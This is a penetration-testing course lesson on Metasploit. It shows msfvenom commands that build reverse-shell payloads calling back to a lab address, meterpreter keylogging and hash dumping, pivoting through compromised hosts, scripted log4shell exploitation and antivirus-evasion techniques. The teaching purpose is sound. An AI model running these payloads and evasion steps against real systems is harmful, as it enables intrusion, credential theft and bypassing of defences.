Zum Hauptinhalt springen

Metasploit — Concepts

Metasploit is the framework that industrialized exploitation. 2200 exploits, 1500 auxiliaries, 700 payloads, all ready, all maintained, all pluggable. This week we learn to use it without becoming dependent on it: when it helps, when it gets in the way.

Reminder

Every Metasploit run sends exploitation code to a target. In a lab, no worry. On an engagement, your RoE must explicitly authorize active exploitation. A badly scoped run = a service that goes down = an angry client.

What you will be able to do after this lesson​

  • Name the four pieces of the framework: exploit, payload, encoder, listener.
  • Choose a payload suited to the target (Windows 32/64, Linux, without a stager, with a stager).
  • Use msfvenom to build a standalone payload (EXE, WAR, ELF, apk, shellcode).
  • Automate an exploitation chain with resource scripts and msfrpc.
  • Move from a session to a real pivot to test the internal network.
  • Know when not to use Metasploit.

1. Metasploit as a mental image​

Three layers. Keep them in mind.

                                TARGET
                                  ↑
                              ┌───┴───┐
                              │Exploit │  (triggers the flaw: buffer overflow, RCE, injection...)
                              └───┬───┘
                                  ↓
                              ┌───┴───┐
                              │Payload │  (the code that runs on the target: shellcode, meterpreter)
                              └───┬───┘
                                  ↓
                                network
                                  ↓
                              ┌───┴───┐
                              │Listener│  (on the attacker side, waits for the reverse connection)
                              └───────┘

The exploit opens the door. The payload walks in. The listener brings the line back.

2. The big exploit families​

In msfconsole:

show exploits

There are too many. We group them:

FamilyWhat it contains
exploit/windows/smb/EternalBlue, PsExec, SMB relay...
exploit/windows/http/IIS, ASP.NET, Exchange, SharePoint.
exploit/linux/http/Apache, Nginx, Struts, log4j (under exploit/multi/http/).
exploit/multi/http/Multi-OS web attacks (log4j, PHPUnit, Confluence...).
exploit/unix/ftp/, unix/misc/vsftpd backdoor, distccd, etc.
auxiliary/scanner/Not exploits — lightweight scanners (SMB versions, ldap login, mysql).
post/Post-exploitation: escalation, dumping, pivoting.
evasion/Generation of AV-evading binaries.

Tip: search cve:2021-44228 searches by CVE (log4shell in this case). Far more reliable than by application name.

3. The payloads — the choice that matters​

Two dimensions.

3.1. With or without a stager​

  • Without a stager (_reverse_tcp): a complete binary is sent in one shot. Simple, big, more detectable.
  • With a stager (_reverse_tcp, already staged in fact): a small loader is sent first, it calls back home and downloads the real payload. Stealthier, more fragile (two round trips).

On modern targets with antivirus, staged ones often get through better.

3.2. Meterpreter or plain shell​

  • meterpreter: a full Metasploit agent. Encrypted (TLS), multi-command, pivoting, upload, screenshot, memory extraction. Powerful but heavily flagged by antivirus.
  • shell_reverse_tcp: just a reverse shell (/bin/sh or cmd.exe). Dumb, quiet, works everywhere.
  • shell_reverse_tls: a TLS-encrypted reverse shell. A compromise between stealth and reliability.

Naming:

<OS>/<arch>/<payload>/<transport>

Examples:

  • windows/x64/meterpreter/reverse_tcp
  • linux/x86/shell_reverse_tcp
  • java/meterpreter/reverse_https
  • php/meterpreter/reverse_tcp
  • python/meterpreter/reverse_tcp

3.3. Compatibility — traps​

  • windows/x64/… does not work on a 32-bit Windows. Check sysinfo after the first access.
  • A java/* payload is OS-neutral but requires a JVM. Handy for a Tomcat/JBoss.
  • A php/* payload runs in a PHP context (RFI/LFI). No full meterpreter.

Rule: set PAYLOAD explicitly. Never let Metasploit guess.

4. msfvenom — build your own payload​

When an exploit outside Metasploit needs a payload, you build one with msfvenom (successor to msfpayload + msfencode).

Syntax:

msfvenom -p <payload> LHOST=<your_ip> LPORT=<port> -f <format> -o <file>

Common examples:

# Windows EXE (staged reverse TCP)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
         -f exe -o payload.exe

# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
         -f elf -o payload.elf

# WAR (to deploy on Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
         -f war -o pwn.war

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
         -o pwn.apk

# PowerShell one-liner
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
         -f psh-cmd -o cmd.ps1

# Raw shellcode (to embed in a custom exploit)
msfvenom -p linux/x64/exec CMD="/bin/bash -i" -f raw -o shellcode.bin

Encoding to attempt AV evasion (moderately effective in 2026):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... \
         -e x64/xor_dynamic -i 5 -f exe -o payload.exe

Metasploit's encoders are known to every AV. For real evasion, you have to move to Donut, Nim/Rust loaders, Sliver, Havoc, Mythic — but that's beyond the scope of a classic pentest course.

5. Multi/handler — catch a shell without an exploit​

When an exploit is done outside Metasploit (a msfvenom payload dropped and executed by another route), you still want to get a Metasploit session back. That is the job of multi/handler:

msfconsole -q

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.5
set LPORT 4444
set ExitOnSession false
run -j

run -j = job. The handler runs in the background, ready to receive. You can trigger the payload's execution on the target (by email, by a web exploit, by a scheduled task), and the shell lands in the handler.

6. Meterpreter — the Swiss army knife in a session​

Once you have meterpreter >:

sysinfo                        # OS, arch, domain, language
getuid                         # who am I?
getprivs                       # which Windows privileges?
ps                             # processes
migrate <PID>                  # move to another process (stability)
screenshot                     # screen capture
keyscan_start / keyscan_dump   # keylogger
hashdump                       # NTLM of local accounts (requires SYSTEM)
upload / download              # transfers
shell                          # real OS shell

On Linux:

sysinfo, getuid, ps, upload, download, shell, portfwd

A precious command:

run post/multi/recon/local_exploit_suggester

Suggests local privilege-escalation exploits (module 9).

7. Pivoting — using a compromised machine to attack further​

This is the real value-add of Metasploit on a complex engagement. You have a shell on 10.10.10.20. From that machine, you see another network 192.168.100.0/24. You want to scan that network from Kali, routing through the compromised machine.

7.1. Meterpreter autoroute​

meterpreter > run autoroute -s 192.168.100.0/24

Metasploit adds an internal route: all Metasploit traffic to 192.168.100.0/24 will go through the Meterpreter session.

Scan the internal network from msfconsole:

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.100.0/24
set PORTS 22,80,445,3389
run

The traffic leaves the compromised target, not your Kali. Stealthy.

7.2. SOCKS proxy for external tools​

You want to use nmap, curl, sqlmap from Kali but route the traffic through the target:

use auxiliary/server/socks_proxy
set VERSION 5
run -j

Configure proxychains (/etc/proxychains.conf):

socks5  127.0.0.1 1080

And:

proxychains nmap -sT -Pn -p 22,80,445 192.168.100.10
proxychains curl http://192.168.100.10/

Your requests emerge from the compromised target. This is the standard pivot.

8. Resource scripts — automate without losing traceability​

A resource script (.rc) is a text file containing msfconsole commands run in order.

log4shell.rc:

workspace log4shell-mission
use exploit/multi/http/log4shell_header_injection
set RHOSTS file:cibles.txt
set RPORT 8080
set LHOST 10.10.10.5
set LPORT 4444
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set ExitOnSession false
run -j

Launch:

msfconsole -q -r log4shell.rc

Good practice:

  • One .rc per attack or per wave.
  • Version it in Git (private).
  • Copy-paste the command into a commandes.md before running it, with the time.

Without that, an end-of-engagement report turns into an exercise in archaeological memory.

9. msfrpc and pymetasploit3 — drive it in Python​

To automate at scale, Metasploit exposes an RPC API:

sudo msfrpcd -P monpass -S -a 127.0.0.1

From Python:

from pymetasploit3.msfrpc import MsfRpcClient

client = MsfRpcClient('monpass', server='127.0.0.1')
exploit = client.modules.use('exploit', 'multi/http/log4shell_header_injection')
exploit['RHOSTS'] = '10.10.10.20'
exploit['LHOST']  = '10.10.10.5'
payload = client.modules.use('payload', 'linux/x64/meterpreter/reverse_tcp')
payload['LHOST'] = '10.10.10.5'
payload['LPORT'] = 4444
exploit.execute(payload=payload)

# Wait, then list the open sessions
import time; time.sleep(15)
print(client.sessions.list)

Useful to orchestrate several sessions, correlate with an external tool, or integrate into an internal dashboard.

10. Antivirus and EDR — the wall that blocks​

In 2026, an up-to-date Windows Defender recognizes immediately the default Meterpreter payloads. A payload.exe generated as-is gets detected on copy.

Techniques to get through (within a pentest, not a real red team):

  1. Loader compiled by hand in C/C#/Nim/Rust that loads the shellcode. Up to date, it still gets through a lot.
  2. PowerShell obfuscation: Invoke-Obfuscation, in-memory loading (Reflection.Assembly::Load). Amber, base64, AES encryption.
  3. Living off the land: wmic, certutil, bitsadmin, mshta to download and execute — no binary left on disk.
  4. Sliver / Havoc / Mythic: modern C2 replacing Meterpreter for the evasion part.

For the course: in the lab, we disable Defender. For evasion training, a dedicated module 8 (advanced payload development).

11. When not to use Metasploit​

Three cases:

  1. An RoE that explicitly forbids Metasploit. Some clients exclude it (fear of noise, fear of false positives, preference for custom code).
  2. The exploit exists in 20 lines of Python and you don't need a full stager. Don't load Metasploit for an nc + a hardcoded password.
  3. The target is a well-tuned modern EDR. Meterpreter will make it scream. Switch to stealthier tools.

An experienced pentester uses Metasploit judiciously, not systematically.

12. What to remember​

  • Exploit + payload + listener = the three pieces. Always in that order.
  • msfvenom builds a standalone payload for use outside Metasploit.
  • Meterpreter is powerful but noisy. shell_reverse_tcp is dumb but quiet.
  • multi/handler catches a shell without an exploit — useful in tandem with msfvenom.
  • autoroute + socks_proxy = the standard pivot.
  • Automate with .rc and msfrpc, but write down every command before running it.
  • In 2026, Defender blocks Metasploit as-is. Plan for a loader.

Next lesson: three Metasploit attacks end to end, including a pivot from a Linux target into an internal subnet. It's the most offensive part of the course.